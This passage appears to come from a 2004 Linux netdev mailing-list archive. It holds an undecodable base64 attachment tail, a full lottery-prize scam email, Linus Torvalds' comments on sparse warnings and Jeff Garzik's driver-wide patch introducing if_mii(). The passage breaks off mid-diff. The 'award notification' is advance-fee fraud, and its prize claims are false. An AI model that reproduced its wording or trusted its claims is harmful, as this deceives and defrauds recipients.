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 ------=_NextPart_000_0000_00007C2F.00006738-- From Microwrldlot@netscape.net Sat May 29 07:57:47 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 29 May 2004 07:57:48 -0700 (PDT) Received: from netscape2668.com ([81.240.252.72]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4TEvQgi030882 for ; Sat, 29 May 2004 07:57:29 -0700 Message-Id: <200405291457.i4TEvQgi030882@oss.sgi.com> From: MICROWORLDLOT AGENCY BV To: netdev@oss.sgi.com Reply-To: Microworldlot@netscape.net Subject: CONGRATULATIONS: AWARD WINNING NOTIFICATION!!!!!! Date: Sat, 29 May 2004 07:57:30 -0700 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="45ff2be3-65b5-4ed4-a5cd-84712b9edf4a" X-archive-position: 5448 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Microwrldlot@netscape.net Precedence: bulk X-list: netdev This is a multi-part message in MIME format --45ff2be3-65b5-4ed4-a5cd-84712b9edf4a Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable MICROWORLDLOT AGENCY BV THE NETHERLANDS. ADDRESS; HANDELSWEG 20, 2404 CD ALPHEN A/D RIJN THE NETHERLANDS. TEL :0031 627 396 636 FROM THE DESK OF THE PROMOTIONS MANAGER, INTERNATIONAL PROMOTIONS/PRIZE AWARD = DEPARTMENT, REF: MWA/LP/ 266613/02 BATCH: 558/0311/MWLP ATTENTION: WINNING NOTIFICATION/FINAL NOTICE. We are pleased to inform you that you are part of the winners at the recent LOTTERY INTERNATIONAL PROMOTION held 22nd of May, 2004. You are attached to ticket number 003-2148-790-648 with serial number = 5614-30,which drew the lucky numbers 29-58-40- 36-47-68, and consiquently won the lottery in the 3rd category. You have therefore been approved for a lump sum payment of US$750.000,00(SEVEN HUNDRED AND FIFTY THOUSAND UNITED STATE DOLLARS) = credited to file REF: MWA/LP/ 266613/02, with BATCH NO.558/0311/MWLP. From = total prize money of US$2. Million among the 20 international winners in this = category. All participants were selected through a computer ballot system drawn from 50,000 Internet Users from Australia, New Zealand, = America, Europe, North America, Africa and Asia as part of International = Lottery Promotions Program, which is conducted once in a year. CONGRATULATIONS!!! Your funds are now deposited to a financial institute; Insured and attached with your Email address/ Ref / Batch and ticket numbers. = Due to the mix-up of some email addresses and ticket numbers, we ask that you = keep this award strictly from public notice until your claim has been = processed and your funds are remitted to your designated bank account. This is part of our security protocol to avoid double claims or unscrupulous acts by lucky winners of this program. We hope with = part of your Award Prize, you will be included in 2005 of year high stakes = US$4.3 Million International Lottery. To begin your claim, please contact your claim agent; DR. WALTER SMITH = Foreign Service Manager. Email;microworldlot@netscape.net For due processing and the remittance of your prize money to a designated = account of your choice. Remember; all prize money must be claimed not later = than June,12th 2004. After this date, all funds will be returned as = unclaimed. NOTE: In order to avoid unnecessary delays and complications, please remember to quote your REF&BATCH numbers to any of our correspondences worldwide. Furthermore, should there be any change of your address, do inform your claims agent as soon as possible. N:B .....Any breach of our security protocol / policy on the part of any = winners will result to disqualification. CONGRATULATIONS once again from all our staffs and thanks for being part of the computer promotions program. Sincerely, CATHY HAYES THE PROMOTIONS SECRETARY N.B...... WE APOLOGIES FOR THE DELAY OF THIS INFORMATION.!!! --45ff2be3-65b5-4ed4-a5cd-84712b9edf4a-- From torvalds@osdl.org Sat May 29 11:24:51 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 29 May 2004 11:24:53 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4TIOogi007674 for ; Sat, 29 May 2004 11:24:51 -0700 Received: from localhost (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i4TINvr15549; Sat, 29 May 2004 11:23:57 -0700 Date: Sat, 29 May 2004 11:23:56 -0700 (PDT) From: Linus Torvalds To: Jeff Garzik cc: Netdev , Linux Kernel , Andrew Morton , "David S. Miller" , Al Viro , Arjan van de Ven Subject: Re: [PATCH] remove net driver ugliness that sparse complains about In-Reply-To: <40B8D2F8.6090905@pobox.com> Message-ID: References: <40B8D2F8.6090905@pobox.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5449 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: torvalds@osdl.org Precedence: bulk X-list: netdev On Sat, 29 May 2004, Jeff Garzik wrote: > > I'm a bit curious why sparse complained about taking the _address_ of > pointer It may not complain any more. Al sent me about 20 different test-cases for things that sparse did wrong, and I've fixed most of them. As of yesterday, most sparse warnings really _are_ valid (yeah, I'm sure there are some broken cases still, but if so, now they are in a clear minority). Note that that doesn't mean that they are all easy to fix. Some code tends to re-use the same structure for sometimes holding kernel pointers, and sometimes holding user pointers. Since the whole point of sparse is to have _static_ typechecking, such code will never be sparse-clean, and either we have to ignore it, or we should split up the use into two different kinds of structures (with the same members apart from the address space) and explicitly convert between the two. I'd obviously prefer that approach, but it might be a fair amount of work (most of it should be really trivial, though, and I suspect it would clarify pointer usage a lot to know when a "struct msghdr" points to user space, and when it points to kernel space. Or whatever - maybe that was a bad example). Linus From jgarzik@pobox.com Sat May 29 12:16:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 29 May 2004 12:16:18 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4TJGBgi009288 for ; Sat, 29 May 2004 12:16:12 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.33) id 1BU8Ll-0005t0-Hl; Sat, 29 May 2004 19:14:30 +0100 Message-ID: <40B8D2F8.6090905@pobox.com> Date: Sat, 29 May 2004 14:14:16 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040510 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Netdev CC: Linux Kernel , Andrew Morton , "David S. Miller" , Al Viro , Arjan van de Ven , Linus Torvalds Subject: [PATCH] remove net driver ugliness that sparse complains about Content-Type: multipart/mixed; boundary="------------060107040802050700030303" X-archive-position: 5450 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --------------060107040802050700030303 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Patch just for comment, do not apply. In network land, there exists struct ifreq, which passed contains per-ioctl data passed to the net driver. Recently, I marked the user pointer component with '__user', struct ifreq { ... union { struct sockaddr ifru_addr; struct sockaddr ifru_dstaddr; struct sockaddr ifru_broadaddr; struct sockaddr ifru_netmask; struct sockaddr ifru_hwaddr; short ifru_flags; int ifru_ivalue; int ifru_mtu; struct ifmap ifru_map; char ifru_slave[IFNAMSIZ]; /* Just fits the size */ char ifru_newname[IFNAMSIZ]; char __user * ifru_data; struct if_settings ifru_settings; } ifr_ifru; }; However, Al noticed that network drivers were doing struct mii_ioctl_data *data = (struct mii_ioctl_data *) &ifr->ifr_data; So, we have some code that will copy_to_user from the pointer stored in ->ifr_data [aka ifr_ifru.ifru_data], and other code that uses the address of irf_data to indicate an anonymous BLOB of data stored in the union. I'm a bit curious why sparse complained about taking the _address_ of pointer, but nonetheless it's an ugliness that should be contained before it spreads :) Attached is a proposed cleanup patch for comment. The ugliness is confined to include/linux/mii.h, and I avoid use the ifru_data field completely. Untested, but compiles. Jeff --------------060107040802050700030303 Content-Type: text/plain; name="patch" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="patch" ===== arch/cris/arch-v10/drivers/ethernet.c 1.14 vs edited ===== --- 1.14/arch/cris/arch-v10/drivers/ethernet.c 2004-01-10 19:16:53 -05:00 +++ edited/arch/cris/arch-v10/drivers/ethernet.c 2004-05-29 13:54:18 -04:00 @@ -1251,8 +1251,8 @@ static int e100_ioctl(struct net_device *dev, struct ifreq *ifr, int cmd) { - struct mii_ioctl_data *data = (struct mii_ioctl_data *)&ifr->ifr_data; - struct net_local *np = (struct net_local *)dev->priv; + struct mii_ioctl_data *data = if_mii(ifr); + struct net_local *np = netdev_priv(dev); spin_lock(&np->lock); /* Preempt protection */ switch (cmd) { ===== drivers/net/3c59x.c 1.51 vs edited ===== --- 1.51/drivers/net/3c59x.c 2004-05-28 17:35:12 -04:00 +++ edited/drivers/net/3c59x.c 2004-05-29 13:12:50 -04:00 @@ -2873,7 +2873,7 @@ { struct vortex_private *vp = netdev_priv(dev); long ioaddr = dev->base_addr; - struct mii_ioctl_data *data = (struct mii_ioctl_data *)&rq->ifr_data; + struct mii_ioctl_data *data = if_mii(rq); int phy = vp->phys[0] & 0x1f; int retval; ===== drivers/net/8139cp.c 1.65 vs edited ===== --- 1.65/drivers/net/8139cp.c 2004-04-06 05:22:25 -04:00 +++ edited/drivers/net/8139cp.c 2004-05-29 13:13:03 -04:00 @@ -1546,7 +1546,6 @@ static int cp_ioctl (struct net_device *dev, struct ifreq *rq, int cmd) { struct cp_private *cp = netdev_priv(dev); - struct mii_ioctl_data *mii = (struct mii_ioctl_data *) &rq->ifr_data; int rc; unsigned long flags; @@ -1554,7 +1553,7 @@ return -EINVAL; spin_lock_irqsave(&cp->lock, flags); - rc = generic_mii_ioctl(&cp->mii_if, mii, cmd, NULL); + rc = generic_mii_ioctl(&cp->mii_if, if_mii(rq), cmd, NULL); spin_unlock_irqrestore(&cp->lock, flags); return rc; } ===== drivers/net/8139too.c 1.91 vs edited ===== --- 1.91/drivers/net/8139too.c 2004-05-27 12:53:38 -04:00 +++ edited/drivers/net/8139too.c 2004-05-29 13:13:12 -04:00 @@ -2458,14 +2458,13 @@ static int netdev_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { struct rtl8139_private *np = dev->priv; - struct mii_ioctl_data *data = (struct mii_ioctl_data *) & rq->ifr_data; int rc; if (!netif_running(dev)) return -EINVAL; spin_lock_irq(&np->lock); - rc = generic_mii_ioctl(&np->mii, data, cmd, NULL); + rc = generic_mii_ioctl(&np->mii, if_mii(rq), cmd, NULL); spin_unlock_irq(&np->lock); return rc; ===== drivers/net/amd8111e.c 1.18 vs edited ===== --- 1.18/drivers/net/amd8111e.c 2004-03-29 12:46:32 -05:00 +++ edited/drivers/net/amd8111e.c 2004-05-29 13:13:23 -04:00 @@ -1694,7 +1694,7 @@ } static int amd8111e_ioctl(struct net_device * dev , struct ifreq *ifr, int cmd) { - struct mii_ioctl_data *data = (struct mii_ioctl_data *)&ifr->ifr_data; + struct mii_ioctl_data *data = if_mii(ifr); struct amd8111e_priv *lp = netdev_priv(dev); int err; u32 mii_regval; ===== drivers/net/b44.c 1.24 vs edited ===== --- 1.24/drivers/net/b44.c 2004-05-27 13:51:15 -04:00 +++ edited/drivers/net/b44.c 2004-05-29 13:13:35 -04:00 @@ -1633,7 +1633,7 @@ static int b44_ioctl(struct net_device *dev, struct ifreq *ifr, int cmd) { - struct mii_ioctl_data __user *data = (struct mii_ioctl_data __user *)&ifr->ifr_data; + struct mii_ioctl_data *data = if_mii(ifr); struct b44 *bp = netdev_priv(dev); int err; ===== drivers/net/e100.c 1.14 vs edited ===== --- 1.14/drivers/net/e100.c 2004-05-18 19:34:19 -04:00 +++ edited/drivers/net/e100.c 2004-05-29 13:13:50 -04:00 @@ -2075,9 +2075,8 @@ static int e100_do_ioctl(struct net_device *netdev, struct ifreq *ifr, int cmd) { struct nic *nic = netdev_priv(netdev); - struct mii_ioctl_data *mii = (struct mii_ioctl_data *)&ifr->ifr_data; - return generic_mii_ioctl(&nic->mii, mii, cmd, NULL); + return generic_mii_ioctl(&nic->mii, if_mii(ifr), cmd, NULL); } static int e100_alloc(struct nic *nic) ===== drivers/net/eepro100.c 1.74 vs edited ===== --- 1.74/drivers/net/eepro100.c 2004-05-22 04:23:01 -04:00 +++ edited/drivers/net/eepro100.c 2004-05-29 13:13:56 -04:00 @@ -2096,7 +2096,7 @@ static int speedo_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { struct speedo_private *sp = netdev_priv(dev); - struct mii_ioctl_data *data = (struct mii_ioctl_data *)&rq->ifr_data; + struct mii_ioctl_data *data = if_mii(rq); int phy = sp->phy[0] & 0x1f; int saved_acpi; int t; ===== drivers/net/epic100.c 1.37 vs edited ===== --- 1.37/drivers/net/epic100.c 2004-03-14 01:54:58 -05:00 +++ edited/drivers/net/epic100.c 2004-05-29 13:14:02 -04:00 @@ -1440,7 +1440,7 @@ { struct epic_private *np = dev->priv; long ioaddr = dev->base_addr; - struct mii_ioctl_data *data = (struct mii_ioctl_data *)&rq->ifr_data; + struct mii_ioctl_data *data = if_mii(rq); int rc; /* power-up, if interface is down */ ===== drivers/net/fealnx.c 1.48 vs edited ===== --- 1.48/drivers/net/fealnx.c 2004-05-19 09:39:36 -04:00 +++ edited/drivers/net/fealnx.c 2004-05-29 13:14:18 -04:00 @@ -1923,14 +1923,13 @@ static int mii_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { struct netdev_private *np = dev->priv; - struct mii_ioctl_data *data = (struct mii_ioctl_data *) & rq->ifr_data; int rc; if (!netif_running(dev)) return -EINVAL; spin_lock_irq(&np->lock); - rc = generic_mii_ioctl(&np->mii, data, cmd, NULL); + rc = generic_mii_ioctl(&np->mii, if_mii(rq), cmd, NULL); spin_unlock_irq(&np->lock); return rc; ===== drivers/net/hamachi.c 1.32 vs edited ===== --- 1.32/drivers/net/hamachi.c 2004-03-14 01:54:58 -05:00 +++ edited/drivers/net/hamachi.c 2004-05-29 13:14:24 -04:00 @@ -1937,7 +1937,7 @@ static int netdev_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { struct hamachi_private *np = dev->priv; - struct mii_ioctl_data *data = (struct mii_ioctl_data *) & rq->ifr_data; + struct mii_ioctl_data *data = if_mii(rq); int rc; if (!netif_running(dev)) ===== drivers/net/ioc3-eth.c 1.25 vs edited ===== --- 1.25/drivers/net/ioc3-eth.c 2004-04-19 11:20:48 -04:00 +++ edited/drivers/net/ioc3-eth.c 2004-05-29 13:14:35 -04:00 @@ -1529,12 +1529,11 @@ static int ioc3_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct mii_ioctl_data *data = (struct mii_ioctl_data *) & rq->ifr_data; struct ioc3_private *ip = netdev_priv(dev); int rc; spin_lock_irq(&ip->ioc3_lock); - rc = generic_mii_ioctl(&ip->mii, data, cmd, NULL); + rc = generic_mii_ioctl(&ip->mii, if_mii(rq), cmd, NULL); spin_unlock_irq(&ip->ioc3_lock); return rc; ===== drivers/net/natsemi.c 1.60 vs edited ===== --- 1.60/drivers/net/natsemi.c 2004-04-06 05:22:41 -04:00 +++ edited/drivers/net/natsemi.c 2004-05-29 13:14:45 -04:00 @@ -2417,7 +2417,7 @@ static int netdev_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct mii_ioctl_data *data = (struct mii_ioctl_data *)&rq->ifr_data; + struct mii_ioctl_data *data = if_mii(rq); switch(cmd) { case SIOCETHTOOL: ===== drivers/net/pci-skeleton.c 1.28 vs edited ===== --- 1.28/drivers/net/pci-skeleton.c 2004-01-10 10:31:38 -05:00 +++ edited/drivers/net/pci-skeleton.c 2004-05-29 13:14:55 -04:00 @@ -1778,7 +1778,7 @@ static int netdrv_ioctl (struct net_device *dev, struct ifreq *rq, int cmd) { struct netdrv_private *tp = dev->priv; - struct mii_ioctl_data *data = (struct mii_ioctl_data *) & rq->ifr_data; + struct mii_ioctl_data *data = if_mii(rq); unsigned long flags; int rc = 0; ===== drivers/net/pcnet32.c 1.73 vs edited ===== --- 1.73/drivers/net/pcnet32.c 2004-05-26 10:01:00 -04:00 +++ edited/drivers/net/pcnet32.c 2004-05-29 13:15:08 -04:00 @@ -2170,14 +2170,13 @@ static int pcnet32_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { struct pcnet32_private *lp = dev->priv; - struct mii_ioctl_data *data = (struct mii_ioctl_data *)&rq->ifr_data; int rc; unsigned long flags; /* SIOC[GS]MIIxxx ioctls */ if (lp->mii) { spin_lock_irqsave(&lp->lock, flags); - rc = generic_mii_ioctl(&lp->mii_if, data, cmd, NULL); + rc = generic_mii_ioctl(&lp->mii_if, if_mii(rq), cmd, NULL); spin_unlock_irqrestore(&lp->lock, flags); } else { rc = -EOPNOTSUPP; ===== drivers/net/sis900.c 1.52 vs edited ===== --- 1.52/drivers/net/sis900.c 2004-05-19 19:52:19 -04:00 +++ edited/drivers/net/sis900.c 2004-05-29 13:15:15 -04:00 @@ -1893,7 +1893,7 @@ static int mii_ioctl(struct net_device *net_dev, struct ifreq *rq, int cmd) { struct sis900_private *sis_priv = net_dev->priv; - struct mii_ioctl_data *data = (struct mii_ioctl_data *)&rq->ifr_data; + struct mii_ioctl_data *data = if_mii(rq); switch(cmd) { case SIOCGMIIPHY: /* Get address of MII PHY in use. */ ===== drivers/net/starfire.c 1.35 vs edited ===== --- 1.35/drivers/net/starfire.c 2004-03-14 01:54:58 -05:00 +++ edited/drivers/net/starfire.c 2004-05-29 14:02:44 -04:00 @@ -2079,7 +2079,6 @@ static int netdev_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { struct netdev_private *np = dev->priv; - struct mii_ioctl_data *data = (struct mii_ioctl_data *) & rq->ifr_data; int rc; if (!netif_running(dev)) @@ -2089,6 +2088,7 @@ rc = netdev_ethtool_ioctl(dev, (void *) rq->ifr_data); else { + struct mii_ioctl_data *data = if_mii(rq); spin_lock_irq(&np->lock); rc = generic_mii_ioctl(&np->mii_if, data, cmd, NULL); spin_unlock_irq(&np->lock); ===== drivers/net/sundance.c 1.54 vs edited ===== --- 1.54/drivers/net/sundance.c 2004-03-14 01:54:58 -05:00 +++ edited/drivers/net/sundance.c 2004-05-29 13:15:40 -04:00 @@ -1659,7 +1659,6 @@ static int netdev_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { struct netdev_private *np = dev->priv; - struct mii_ioctl_data *data = (struct mii_ioctl_data *) & rq->ifr_data; int rc; int i; long ioaddr = dev->base_addr; @@ -1672,7 